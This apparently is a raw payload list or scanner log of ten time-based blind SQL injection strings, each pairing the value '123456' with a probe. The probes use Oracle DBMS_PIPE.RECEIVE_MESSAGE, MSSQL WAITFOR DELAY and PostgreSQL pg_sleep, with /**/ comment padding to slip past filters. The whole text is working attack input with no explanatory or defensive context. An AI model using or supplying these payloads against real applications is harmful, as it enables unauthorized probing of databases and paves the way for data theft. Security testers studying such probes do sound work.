123456 : 123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('d',2)='d

123456 : 123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('w',0)='w

123456 : 123456/**/and/**/3=DBMS_PIPE.RECEIVE_MESSAGE('r',2)

123456 : 123456/**/and/**/3=DBMS_PIPE.RECEIVE_MESSAGE('e',0)

123456 : 123456'and(select+1)>0waitfor/**/delay'0:0:2

123456 : 123456'and(select+1)>0waitfor/**/delay'0:0:0

123456 : 123456/**/and(select+1)>0waitfor/**/delay'0:0:2'/**/

123456 : 123456/**/and(select+1)>0waitfor/**/delay'0:0:0'/**/

123456 : 123456'/**/and(select'1'from/**/pg_sleep(2))::text>'0

123456 : 123456'/**/and(select'1'from/**/pg_sleep(0))::text>'0